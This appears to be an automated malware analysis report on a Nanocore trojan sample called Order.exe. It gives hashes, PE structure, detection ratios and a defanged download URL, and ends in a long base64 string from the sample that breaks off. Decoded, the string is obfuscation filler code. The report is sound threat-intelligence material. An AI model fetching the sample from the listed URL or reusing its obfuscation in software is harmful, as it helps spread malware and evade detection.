MalScore
100/100
MalFamily
Nanocore

Order.exe

Is DLL Packer Anti Debug Anti VM Signed XOR AntiVirus 23/64 Related 2805
File details Download PDF Report
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
File size: 566.00 KB (579584 bytes)
Compile time: 2018-05-14 12:00:56
MD5: 2d388bcf0ed35792db09f15f5f462133
SHA1: 5d995c4674d2c57e7deca127f0d39e5e280a8ab1
SHA256: 03dae143233c1cf8868f309ec0fd23a2b1525bae61bb3445a820f190fb91e399
Import hash: f34d5f2d4577ed6d9ceec516c1f5a744
Sections 3 .text .rsrc .reloc
Directories 3 import resource relocation
First submission: 2018-05-21 16:21:03
Last submission: 2018-05-21 16:21:03
Filename detected: - Order.exe (1)
URL file hosting
hXXp://polymage.com.cy/misc/ui/images/files/Order.exeVirusTotal
Antivirus Report
Report Date Detection Ratio Permalink Update
2018-05-16 17:34:41 [23/64] VirusTotal
PE Sections 2 suspicious
Name VAddress VSize Size MD5 SHA1
.text 0x2000 0xd174 53760 d9a63b247ee75cd4c72a17f468b1f5f2 ff8e431d1aa2ab4960f54db960e531563366166e
.rsrc 0x10000 0x80136 524800 704aa83d2ddf3b6403a2e62bf9cd95dc b02219197840ec7fdaa3626ebd47f76cfa385d3e
.reloc 0x92000 0xc 512 2342317db81c84c5a3275b5378ad0a62 318282f772c43644fba0e234c37417ad8075c926
PE Resources
Name Offset Size Language Sublanguage Data
RT_ICON 0x10178 4264 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_GROUP_ICON 0x11220 20 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_VERSION 0x11234 660 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_HTML 0x114c8 518786 LANG_GERMAN SUBLANG_GERMAN
RT_MANIFEST 0x8ff4c 490 LANG_NEUTRAL SUBLANG_NEUTRAL
  • API Alert
  • Anti Debug
Meta Info
LegalCopyright:
Assembly Version: 0.0.0.0
InternalName: qBGULkda0balxCCF.Framework.exe
FileVersion: 0.0.0.0
FileDescription:
Translation: 0x0000 0x04b0
OriginalFilename: qBGULkda0balxCCF.Framework.exe
ProductVersion: 0.0.0.0
XOR
No XOR informations found in this file.
Signature
This file isn't digitally signed
Packer(s)
Microsoft Visual C# / Basic .NET
Microsoft Visual Studio .NET
.NET executable
Microsoft Visual C# v7.0 / Basic .NET
File found
FIle type: Database
nyK.Db
FIle type: Library
System.Management.dll
System.dll
System.Drawing.dll
System.Core.dll
mscoree.dll
IP Found
No IP detected
URL(s)
No URL found
String too long
dXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLklPOw0KdXNpbmcgU3lzdGVtLlRleHQ7DQp1c2luZyBTeXN0ZW0uUmVmbGVjdGlvbjsNCnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7DQp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7DQp1c2luZyBTeXN0ZW0uRHJhd2luZzsNCg0KbmFtZXNwYWNlIEhwY2J5Q3Bqanlleg0Kew0KCXB1YmxpYyBjbGFzcyB3ZEVEUlB7cHVibGljIHZvaWQgWHBPSGVvKCl7DQpkb3VibGUganBYZXlZID0gLTEuMzQzOTg0RS0zMzsgCmpwWGV5WSA9IE1hdGguUG93KGRvdWJsZS5OZWdhdGl2ZUluZmluaXR5LCAyKTsNCiBib29sPyB1TU9BeGJ6QnVuID0gbmV3IGJvb2w/KCk7DQp1TU9BeGJ6QnVuID0gdHJ1ZTtkb3VibGUgbG1kZHFxID0gNi4xMjc3NjZFKzIyOyAKd2hpbGUobG1kZHFxID09IDEuMDA5OTMxRSszOCl7DQpsbWRkcXEgPSBNYXRoLlRydW5jYXRlKGxtZGRxcSk7DQp0cnl7DQpDb25zb2xlLldyaXRlTGluZShsbWRkcXEuVG9TdHJpbmcoKSk7DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCkNvbnNvbGUuV3JpdGVMaW5lKGV4Lk1lc3NhZ2UpOw0KfQ0KfXVsb25nIG5XbW9ZciA9IDMwNTYxMDM2MDc2NDYxNzkyOyAKbG9uZyBFZWFkcmYgPSAxMTU1MTYzNzM3NjE4NTY1ODsgCmxvbmcgU3BUTkZSID0gMjc2OTM4NDgyMDA3MTgzMjM7IApieXRlIEZ0V3JZciA9ICAxNzQ7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn1wdWJsaWMgdm9pZCB3TlN6dmkoKXsNCnNob3J0IFN6em1yUiA9IDEwMzIxOyAKIGJ5dGVbXSBTenptclJTenptclIgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlN6em1yUiIpO3N0cmluZyB2elZTSUwgPSAiVnVHZ1hMIjsgCiBDb25zb2xlLldyaXRlTGluZSh2elZTSUwpO3VpbnQgUWdyeW9CID0gNjY5MzsgCnNob3J0IFpUbm5GdyA9IC0yOTUxNDsgCiBieXRlW10gWlRubkZ3WlRubkZ3ID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJaVG5uRnciKTtmbG9hdCBpZXJ4RXAgPSA1LjUyMzQ2M0UrMjJGOyAKdWludCBPampUVUggPSA0MjE0NjQ0MjQ7IAoNCn1wdWJsaWMgdm9pZCBJSkRqY2YoKXsNCmxvbmcgRHNqTGxaID0gMTg5NjUzNzI5NDE5ODcxNDE7IApzaG9ydCBOdnNJUnEgPSAxMjg1MTsgCiBieXRlW10gTnZzSVJxTnZzSVJxID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJOdnNJUnEiKTtpbnQgeU95ZWVnID0gMTQxNDA4OyAKaWYoeU95ZWVnID09IDk0MDc2MCl7DQp5T3llZWcgPSA0NTU3Mjc7DQp9dXNob3J0IHhSbWVkUiA9IDI4OTk3OyAKdWludCBXQ2VBU1QgPSAyNDYxNzg1NjE7IApkb3VibGUgcGJHRXl0ID0gNC42MDE2MUUrMjA7IApkb3VibGUgd0dOTVZJQVVacFZzID0gTWF0aC5Mb2coMTAwMCwgMTApOw0KcGJHRXl0ID0gd0dOTVZJQVVacFZzOw0KQ29uc29sZS5SZWFkS2V5KCk7DQp9cHVibGljIHZvaWQgdkRFY0tNKCl7DQp1c2hvcnQgSHNGbWZGID0gMjE2OTg7IApzaG9ydCBtemJBWUQgPSAtMTUzMjg7IAogYnl0ZVtdIG16YkFZRG16YkFZRCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygibXpiQVlEIik7dWludCBjVEhWZXIgPSA4ODU1OyAKc2J5dGUgZ0t3SGxTID0gIC0xMTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWludCBCb3BYY3cgPSAyNzk3MzcwNDY7IAp1aW50IFRzbFR6QyA9IDUxMTQ1MjM2MTsgCg0KfXB1YmxpYyB2b2lkIHluY25saSgpew0KYnl0ZSBxcnBNbWUgPSAgOTg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgbW5Kd1hjID0gNTU2NzA7IApzdHJpbmcgbVJ1bkdrID0gInBPaEdwTyI7IAogQ29uc29sZS5Xcml0ZUxpbmUobVJ1bkdrKTtmbG9hdCBqaE1OY1ggPSAtMzI3MC4zNjNGOyAKZmxvYXQgZkdaS3J5ID0gLTEuMjQ1ODA5RS0xNUY7IAp1aW50IEtKRkxDZyA9IDQyNzY3NTsgCg0KfXB1YmxpYyB2b2lkIFB2aU9PZygpew0KYnl0ZSB4cHROV2cgPSAgMjEwOyAKIEVudmlyb25tZW50LkV4aXQoMCk7aW50IFFmY0h6ZCA9IDMxNTA4OTsgCmlmKFFmY0h6ZCA9PSA0MTYxOTgpew0KUWZjSHpkICs9IDY4NjY1OTsNCn11aW50IHNobXJETSA9IDkyODk7IApmbG9hdCBJbE1uZlogPSA4ODA2MjQ5RjsgCnVzaG9ydCB5blFzcEcgPSAxNzg0MzsgCmludCB2UlNuekEgPSA1Mjc3NTM5ODk7IAp3aGlsZSh2UlNuekEgPT0gNTI3NzUzOTg5KXsNCnZSU256QSA9IHZSU256QSArIDk5MjM5NDsNCn0NCn0KfSBwdWJsaWMgY2xhc3MgQWZJZXdxe3B1YmxpYyB2b2lkIE5SSndDTSgpew0KdWludCBUQWJGQ3kgPSAzMDQ4NzY4ODsgCmludCB2YUxxUEMgPSA0MzsgCmlmKHZhTHFQQyA9PSA4NTYzNzApew0KdmFMcVBDID0gNzA3MDI4Ow0KfWludCBKdXp4REQgPSAzNjExMTc4NjsgCmlmKEp1enhERCA9PSA3OTEwMjYpew0KSnV6eEREID0gNjIzNTU1Ow0KfWRvdWJsZSBzemxudmcgPSA3LjA5MjI4MUUrMzY7IAp3aGlsZShzemxudmcgPT0gOC44OTU0MTdFKzEwKXsNCnN6bG52ZyA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbigyKSk7DQogYm9vbD8gd0NIZlYgPSBuZXcgYm9vbD8oKTsNCndDSGZWID0gdHJ1ZTsNCn1ieXRlIGR2ZWxRSSA9ICAxMjU7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSB1a2VycXQgPSAgMTAyOyAKIENvbnNvbGUuUmVhZExpbmUoKTsNCn1wdWJsaWMgdm9pZCBHeUxrTmQoKXsNCmZsb2F0IHB0aWxDcSA9IDEuMjAzMDc4RSsyOUY7IAp1bG9uZyBtRm1OeHQgPSA3MjI1NTE2NTEzMDA4NjQ3NzsgCmRvdWJsZSBlVWhLeVogPSA0LjMwNTk0MUUtMzg7IAplVWhLeVogPSBNYXRoLlBvdygyLCAyLjEpOw0KQ29uc29sZS5Xcml0ZUxpbmUoZVVoS3laLlRvU3RyaW5nKCkpO2RvdWJsZSBCWHJvQlEgPSAxLjIzMDI3NUUtMzA7IApCWHJvQlEgPSBNYXRoLkV4cCgyKTsNCkNvbnNvbGUuUmVhZExpbmUoKTt1aW50IFlBblZjTCA9IDY5MjEwNjE1NzsgCmludCBrbkNNb3cgPSA4MjMyNzU2MzsgCmlmKGtuQ01vdyA9PSAzMjc1Njcpew0Ka25DTW93ID0ga25DTW93ICsgNTE4OTE1Ow0KfQ0KfXB1YmxpYyB2b2lkIERUVE53Rigpew0KZG91YmxlIEpKb0hFeiA9IC0xLjc0MzE4RS0zODsgCmlmKEpKb0hFeiA9PSAtOC4yMjk5NDdFKzI0KXsNCkpKb0hFeiA9IE1hdGguQ2VpbGluZyhNYXRoLkNvcygyKSk7DQp0cnl7DQoNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9DQp9c3RyaW5nIEFnZ05FZiA9ICJWcUR1ZkciOyAKIENvbnNvbGUuV3JpdGVMaW5lKEFnZ05FZik7aW50IG11d1F0QSA9IDI0OyAKaWYobXV3UXRBID09IDQ1MTU1MSl7DQptdXdRdEEgPSBtdXdRdEEgKyA5NDUwMDc7DQp9bG9uZyBua2pIUEkgPSA0NDM0OTI0ODIxODg1MDg4ODsgCnVsb25nIGV6TXRCSyA9IDQ2MzQ4NjcyNTMwMDg2NTExOyAKc2hvcnQgSXV1ekJ4ID0gMTc1MDg7IAogYnl0ZVtdIEl1dXpCeEl1dXpCeCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiSXV1ekJ4Iik7DQp9cHVibGljIHZvaWQga3VBWmdTKCl7DQppbnQgQkNDa0pvID0gNTY2MzsgCndoaWxlKEJDQ2tKbyA9PSA1NjYzKXsNCkJDQ2tKbyA9IEJDQ2tKbyArIDIzNTAwMjsNCn11c2hvcnQgRURBQ1luID0gMTMxOTsgCnVsb25nIG9CTFFpcSA9IDU4NTE3ODUwODYxNTUyNjEzOyAKdXNob3J0IFh6VHFHSyA9IDQ3MzcxOyAKZmxvYXQgdVFYVmxiID0gLTYuNTkyODM2RS0xNUY7IApzaG9ydCBiVFhwTUcgPSAxMDAwNzsgCiBieXRlW10gYlRYcE1HYlRYcE1HID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJiVFhwTUciKTsNCn1wdWJsaWMgdm9pZCBIZFFLSFMoKXsNCmZsb2F0IHNpRGdtcSA9IDEuNTYxMzEyRS0zOEY7IAp1c2hvcnQgYkdzb0RjID0gNDYwMzY7IApsb25nIFRSeEpiQyA9IDgxOTYyNTAwNTk3MjY2MTE3OyAKZmxvYXQgcFlhQ1R4ID0gNC41NzcwOTJFKzEwRjsgCnN0cmluZyBGemlXcWMgPSAiZ1BBWXV1IjsgCiBDb25zb2xlLldyaXRlTGluZShGemlXcWMpO3N0cmluZyBOckhEU3cgPSAiWFl0bGJGIjsgCiBDb25zb2xlLldyaXRlTGluZShOckhEU3cpOw0KfXB1YmxpYyB2b2lkIGdxSG9BTSgpew0KdWxvbmcgV3dGa0pzID0gMTk3MTMwODQ3MjczNDI4MDg7IApieXRlIHloeEF6ZyA9ICAxOTI7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtpbnQgWWl6cENYID0gMjk4OTY3NzA7IAp3aGlsZShZaXpwQ1ggPT0gMjk4OTY3NzApew0KWWl6cENYID0gWWl6cENYICsgNDUwMzI2Ow0KfXNieXRlIEpHSVhmQiA9ICAtMjI7IAogQ29uc29sZS5SZWFkTGluZSgpO3NieXRlIFduaWhPUiA9ICAtMTEwOyAKIENvbnNvbGUuUmVhZExpbmUoKTtmbG9hdCBpR0dCUFQgPSAtOC4yMzUxRSszNEY7IAoNCn0KfSBwdWJsaWMgY2xhc3Mgb2JOQlNBe3B1YmxpYyB2b2lkIFVCWmt6SSgpew0KYnl0ZSB1S21TT3MgPSAgNDU7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtpbnQgenRpSHNHID0gNTUxMTA2OyAKd2hpbGUoenRpSHNHID09IDU1MTEwNil7DQp6dGlIc0cgKz0gNTY3NTY7DQp9bG9uZyBxTUZoaWEgPSA4Mzg3NzQ0NTgyNzM3NjAyNjsgCnN0cmluZyBDZGlRaUcgPSAid1RmRHFRIjsgCiBDb25zb2xlLldyaXRlTGluZShDZGlRaUcpO3VpbnQgVGxyZ3N3ID0gMjM7IApkb3VibGUgQnNicGJEID0gLTEuOTM0MDQ5RS0xNDsgCndoaWxlKEJzYnBiRCA9PSAtNDExOC42ODcpew0KQnNicGJEID0gTWF0aC5Qb3coZG91YmxlLk5lZ2F0aXZlSW5maW5pdHksIDIpOw0KaW50PyBIU2lqWEFCTCA9IDkxMTkxODg7DQpIU2lqWEFCTCArPSA3NjQxMTsNCn0NCn1wdWJsaWMgdm9pZCBIcEJOUE0oKXsNCnVsb25nIFpucEloUyA9IDI2MjkwODgyMjUzNjQzNjg0OyAKc2J5dGUgRHFpbEdRID0gIC0zMTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c2hvcnQgUm1GbGxzID0gLTE3MTYzOyAKIGJ5dGVbXSBSbUZsbHNSbUZsbHMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlJtRmxscyIpO2Zsb2F0IE9HSE1aciA9IDUuOTc4NTg0RS0yN0Y7IApsb25nIFhSZEJJeiA9IDQzMjA1NjExNzMzNzA2OTAxOyAKbG9uZyBQS3RJYUcgPSA0MzI5MjAwNzgxNTYyOTYxNzsgCg0KfXB1YmxpYyB2b2lkIHJFb2hTRCgpew0KZG91YmxlIEdITWpJVSA9IC0xLjkzMjU2MUUtMjE7IApkb3VibGUgYXBnd0xZID0gNy41NjIxMDlFLTA2Ow0KdHJ5ew0KQ29uc29sZS5Xcml0ZUxpbmUoR0hNaklVLlRvU3RyaW5nKCkpOw0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQpDb25zb2xlLldyaXRlTGluZShleC5NZXNzYWdlKTsNCn1zYnl0ZSBuemhMeFUgPSAgMTc7IAogQ29uc29sZS5SZWFkTGluZSgpO3Nob3J0IGRCbFBFVSA9IDcwODQ7IAogYnl0ZVtdIGRCbFBFVWRCbFBFVSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZEJsUEVVIik7c3RyaW5nIE5wc2pyaCA9ICJkZlRiYUwiOyAKIENvbnNvbGUuV3JpdGVMaW5lKE5wc2pyaCk7ZG91YmxlIFVOSlNlUCA9IDEuNzQxMjg5RSszNDsgCmlmKFVOSlNlUCA9PSAzLjQwNjYzN0UrMTIpew0KVU5KU2VQID0gTWF0aC5Qb3coZG91YmxlLk1pblZhbHVlLCBkb3VibGUuTWF4VmFsdWUpOw0Kb2JqZWN0IFNmb1BpcHhBQlZDdUtndjsNClNmb1BpcHhBQlZDdUtndiA9IC00Ljc0Mjk2RS0zMzsNCn1kb3VibGUgVUptV3hwID0gLTEuMzgzNDg2RS0yNzsgCndoaWxlKFVKbVd4cCA9PSAtMjk3OS45NDIpew0KVUptV3hwID0gTWF0aC5UcnVuY2F0ZShVSm1XeHApOw0KQ29uc29sZS5Xcml0ZShVSm1XeHAuVG9TdHJpbmcoKSk7DQp9DQp9cHVibGljIHZvaWQgclVWUUtFKCl7DQpzaG9ydCBDcUpyZ00gPSA4NjY0OyAKIGJ5dGVbXSBDcUpyZ01DcUpyZ00gPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkNxSnJnTSIpO2RvdWJsZSBxUlVvS3UgPSAtMi4xNDkwMTdFKzExOyAKd2hpbGUocVJVb0t1ID09IC0yLjI5NDU4RS0zMil7DQpxUlVvS3UgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW4oMSkpOw0KdHJ5ew0KQ29uc29sZS5Xcml0ZUxpbmUocVJVb0t1LlRvU3RyaW5nKCkpOw0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQpDb25zb2xlLldyaXRlTGluZShleC5NZXNzYWdlKTsNCn0NCn11c2hvcnQgVm56Y3RQID0gMzI1MDE7IAp1bG9uZyB0S2hqd0QgPSAyMDEwNjMyOTcxNTc2MDk2NjsgCnNob3J0IERlYnVPZSA9IC0xNDMyOTsgCiBieXRlW10gRGVidU9lRGVidU9lID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJEZWJ1T2UiKTtieXRlIHNOVVJjcyA9ICA5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7DQp9cHVibGljIHZvaWQgTGFYbGlXKCl7DQppbnQga3FJSlluID0gNDQxMDM0Mjc7IAppZihrcUlKWW4gPT0gNTE0ODc0KXsNCmtxSUpZbiArPSA4MDI1NTA7DQp9ZG91YmxlIGhkQVl2TiA9IC0yLjA5NzI1NEUrMTk7IAppZihoZEFZdk4gPT0gLTUuNjgxMDI2RSszMSl7DQpkb3VibGUgWmNka0tvZktkVHdocEN1byA9IDguNDM0NTQ3RS0yOTsNCmhkQVl2TiA9IE1hdGguUm91bmQoWmNka0tvZktkVHdocEN1byk7DQppbnRbXSBWeUdFd21ES2RqSW94S0h6Y256UWVTbiA9IHsgNjQxOTA3NCAsIDU2NzYzIH0gOw0KUmFuZG9tIHVLZHpvd1RoWD0gbmV3IFJhbmRvbSgpOw0KQ29uc29sZS5Xcml0ZUxpbmUoVnlHRXdtREtkaklveEtIemNuelFlU25bdUtkem93VGhYLk5leHQoMCwyKV0pOw0KfWludCBOSnBtS0QgPSA4ODMyOyAKd2hpbGUoTkpwbUtEID09IDg4MzIpew0KTkpwbUtEID0gNzA2MzMzOw0KfXN0cmluZyB4YkJIRnogPSAiUnVkdVdMIjsgCiBDb25zb2xlLldyaXRlTGluZSh4YkJIRnopO3N0cmluZyBhUUpmanUgPSAiQWV5Y1NsIjsgCiBDb25zb2xlLldyaXRlTGluZShhUUpmanUpO3VzaG9ydCBOaXh4eFMgPSA0MjkyNDsgCg0KfXB1YmxpYyB2b2lkIGRHdnBQTCgpew0KbG9uZyBIQnBkQlYgPSAzNTMxOTY3NzYxMjIzMzMwMTsgCnVpbnQgQkxHQWxZID0gNDExMTg0OyAKdWxvbmcgRkdTanp5ID0gMjg3NTg3MzM0NjU4MTIxMjsgCnNieXRlIEpqZ1BnTCA9ICAxMjY7IAogQ29uc29sZS5SZWFkTGluZSgpO3N0cmluZyBDT2dsSmsgPSAiQkh2ZFJxIjsgCiBDb25zb2xlLldyaXRlTGluZShDT2dsSmspO2xvbmcgeER5endzID0gNTMwMzgwNjk2NDcxMTc2OTg7IAoNCn0KfSBwdWJsaWMgY2xhc3MgeW5qalJ6e3B1YmxpYyB2b2lkIGZWUkVEZSgpew0KdXNob3J0IElnQlV4dyA9IDEzNTgyOyAKdXNob3J0IE9jWFl6RCA9IDE5NzE0OyAKYnl0ZSB1U0RETGUgPSAgMTU5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2hvcnQgZ0t2TGtKID0gMzA4MDsgCiBieXRlW10gZ0t2TGtKZ0t2TGtKID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJnS3ZMa0oiKTtmbG9hdCBOZ0RSek0gPSAtOS45NDYzNTlFKzE1RjsgCmxvbmcgZXBsSXVqID0gMjI1NjU1OTI4ODgwMjAwMDI7IAoNCn1wdWJsaWMgdm9pZCB4aFBoUGsoKXsNCnVzaG9ydCB3WmtSRG0gPSAzOTUyNDsgCmJ5dGUgdkpsbXBPID0gIDk0OyAKIEVudmlyb25tZW50LkV4aXQoMCk7Ynl0ZSBrbWFNSk0gPSAgMzE7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgSndmbHpMID0gMTE5NDQ7IApsb25nIEV4dHdMSiA9IDQyOTk2OTcxNDk1NzYyMjExOyAKaW50IFZiR1VHQSA9IDQ2MDA7IAppZihWYkdVR0EgPT0gNzgzMzU1KXsNClZiR1VHQSArPSA2NzYzMzI7DQp9DQp9cHVibGljIHZvaWQgcU1TZHFuKCl7DQpzYnl0ZSBBZndBclAgPSAgLTI0OyAKIENvbnNvbGUuUmVhZExpbmUoKTtmbG9hdCB2bXRIZEYgPSAtMS40NjkzNDJFLTMzRjsgCmZsb2F0IFRHV1RyaCA9IDguMjcxMjRGOyAKc2J5dGUgTEt6UnlhID0gIC0xMjU7IAogQ29uc29sZS5SZWFkTGluZSgpO3VzaG9ydCBaYlh4UWYgPSAxNTYwNzsgCnVzaG9ydCB2Rm9ZdUMgPSA1MDM2NzsgCg0KfXB1YmxpYyB2b2lkIGlCZmpLZigpew0KaW50IHZwdEVmdiA9IDE3MzQ7IAp3aGlsZSh2cHRFZnYgPT0gMTczNCl7DQp2cHRFZnYgPSA2NDEzMjU7DQp9bG9uZyBwR0JrT3YgPSA2MzY1NDY3MTg4NDIyMTQ0NDsgCnVsb25nIHF5d0xOQyA9IDY2NzE0Mjk3NTE3NzQ3MDgxOyAKYnl0ZSBXaExuaGwgPSAgMTg4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7ZG91YmxlIHV4RGtzcSA9IC0yMDIwLjYyOyAKd2hpbGUodXhEa3NxID09IC02LjY2NjQ0MkUrMTUpew0KZG91YmxlIFV4bk1rRXl1TEMgPSAtMC4zMDEyMDE2Ow0KdXhEa3NxID0gTWF0aC5Sb3VuZChVeG5Na0V5dUxDICwxLE1pZHBvaW50Um91bmRpbmcuVG9FdmVuKTsNCnRyeXsNCmludCBKZlZaZkZtRGhOYkxkUXRtQ3pHbHogPSA0MjU3NDE4Ow0KaWYoSmZWWmZGbURoTmJMZFF0bUN6R2x6ID09IDg3NTE3KXsNCkpmVlpmRm1EaE5iTGRRdG1DekdseisrOw0KfWVsc2V7DQpKZlZaZkZtRGhOYkxkUXRtQ3pHbHotLTsNCkNvbnNvbGUuV3JpdGUoSmZWWmZGbURoTmJMZFF0bUN6R2x6LlRvU3RyaW5nKCkpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn1kb3VibGUgSXNnbFRYID0gNi4wMDEzMTlFKzM3OyAKd2hpbGUoSXNnbFRYID09IDIuMDk3MzQ5RS0zOSl7DQpJc2dsVFggPSBNYXRoLlBvdygyLCAyLjEpOw0KQ29uc29sZS5SZWFkS2V5KCk7DQp9DQp9cHVibGljIHZvaWQgbEtCT05oKCl7DQpzdHJpbmcgVENLR2ZyID0gIld4bnhCTCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoVENLR2ZyKTtieXRlIG9UcEZWRyA9ICA3MjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3NieXRlIHVRVUN3RiA9ICAtMTA3OyAKIENvbnNvbGUuUmVhZExpbmUoKTt1aW50IEliT3lhZSA9IDYyMTU2NTsgCmxvbmcgUXVwUVNOID0gMTYwMzA0MzY3NDExOTkzOTQ7IApkb3VibGUgbFFQYkV5ID0gLTMuNjU4ODc3RS0zMzsgCndoaWxlKGxRUGJFeSA9PSA1LjM1NjgzM0UtMjIpew0KbFFQYkV5ID0gTWF0aC5Qb3coZG91YmxlLk5lZ2F0aXZlSW5maW5pdHksIDIpOw0Kb2JqZWN0IE9OYlNFUDsNCk9OYlNFUCA9IC00LjM1MDQ5NUUrMTU7DQpDb25zb2xlLldyaXRlTGluZShPTmJTRVAuVG9TdHJpbmcoKS5Ub0xvd2VyKCkpOw0KfQ0KfXB1YmxpYyB2b2lkIGRCWGlCcigpew0KZG91YmxlIFhDR0lZTSA9IC0yLjEyNjkyM0UrMDk7IAp3aGlsZShYQ0dJWU0gPT0gMi42MjQ2MjdFKzIxKXsNClhDR0lZTSA9IE1hdGguQ2VpbGluZyhNYXRoLkFzaW4oMC4yKSk7DQpvYmplY3QgTFFnaHo7DQpMUWdoeiA9IC0xLjU3MTQxNkUtMTg7DQp9Ynl0ZSBGQ2p2Z2MgPSAgODsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2Zsb2F0IHhmdXlTUSA9IDYuNjMxNDE3RS0xM0Y7IAp1bG9uZyBxQ1hoVFIgPSA0MDY3ODE3NzAwOTE0NzI2NTsgCnVzaG9ydCBYY2l0amUgPSAxMDU4OyAKZmxvYXQgRm9aTFlYID0gNC44OTQ2MzFFKzEzRjsgCg0KfQp9IHB1YmxpYyBjbGFzcyBHQkJNb1l7cHVibGljIHZvaWQgWHJGZWxuKCl7DQpsb25nIEVVcG1kUSA9IDcwNjMzODAzNzg0ODM4NDcyOyAKbG9uZyBrZll1R1UgPSA3NjU1NTI5NzI4MTc2NTM4MjsgCnNob3J0IERoRmhOUCA9IDIyODg3OyAKIGJ5dGVbXSBEaEZoTlBEaEZoTlAgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkRoRmhOUCIpO3VpbnQgZ1BMeHRZID0gMjY3MjkyOyAKaW50IEF5ZmJURyA9IDE2NDM0MjU0MzsgCndoaWxlKEF5ZmJURyA9PSAxNjQzNDI1NDMpew0KQXlmYlRHID0gQXlmYlRHICsgMTU2MTIxOw0KfXNob3J0IEVtcWp3UiA9IC01OTU3OyAKIGJ5dGVbXSBFbXFqd1JFbXFqd1IgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkVtcWp3UiIpOw0KfXB1YmxpYyB2b2lkIFd5Z1ZtVygpew0KZG91YmxlIE1qc2VPayA9IC03LjE1ODUzNEUrMjE7IAp3aGlsZShNanNlT2sgPT0gLTMyMDYuNzczKXsNCmRvdWJsZSBsTXJXbmYgPSBNYXRoLkxvZygxMDAwLCAxMCk7DQpNanNlT2sgPSBsTXJXbmY7DQoNCn1zYnl0ZSBqVkVCeFUgPSAgLTEwNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c2hvcnQgQnBkamxrID0gLTI1NzIwOyAKIGJ5dGVbXSBCcGRqbGtCcGRqbGsgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkJwZGpsayIpO2ludCBra2hFb3MgPSAzMTE1OyAKaWYoa2toRW9zID09IDEwMzApew0Ka2toRW9zID0ga2toRW9zICsgNjMwMzYxOw0KfXNieXRlIHZhaWV1UCA9ICA1MjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dXNob3J0IHNUSE1EQyA9IDM0NTgzOyAKDQp9cHVibGljIHZvaWQgcHRTQkhCKCl7DQp1c2hvcnQgcHl5ZUZwID0gMzY0MjE7IAp1aW50IHZlYnRoUyA9IDEwMjU0MDEyNjsgCmRvdWJsZSBPVWxBTnogPSAxLjU1OTI2MkUtMTk7IApPVWxBTnogPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW4oMSkpOw0KdHJ5ew0KQ29uc29sZS5Xcml0ZUxpbmUoT1VsQU56LlRvU3RyaW5nKCkpOw0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQpDb25zb2xlLldyaXRlTGluZShleC5NZXNzYWdlKTsNCn11bG9uZyBzQ0FISlogPSAzMzEzMzg3OTkxNzcxMDgxOyAKaW50IFRlRVJzdCA9IDI5MzgwMzAzOyAKd2hpbGUoVGVFUnN0ID09IDI5MzgwMzAzKXsNClRlRVJzdCA9IDIwNzM3Ow0KfWludCB1SmpKV3QgPSA5MzYzOyAKaWYodUpqSld0ID09IDEwNDc2Nyl7DQp1SmpKV3QgPSA5Mjk3ODsNCn0NCn1wdWJsaWMgdm9pZCBEeEFSd3ooKXsNCmJ5dGUgRk5rbmpVID0gIDIzNTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2ludCBSTU9MY1MgPSA2NDU2OyAKd2hpbGUoUk1PTGNTID09IDY0NTYpew0KUk1PTGNTID0gNTA0NTA2Ow0KfWRvdWJsZSBJUFJTZGIgPSAtMS4wMDAwODlFKzMwOyAKaWYoSVBSU2RiID09IC00Ljg5NjIyNUUrMjYpew0KZG91YmxlIEhpWER6dnF1R2dWUFZIV09vaUh3RWNWID0gTWF0aC5Mb2coMTAwMCwgMTApOw0KSVBSU2RiID0gSGlYRHp2cXVHZ1ZQVkhXT29pSHdFY1Y7DQpvYmplY3Qgd3NETExBU0NCdUhYR2J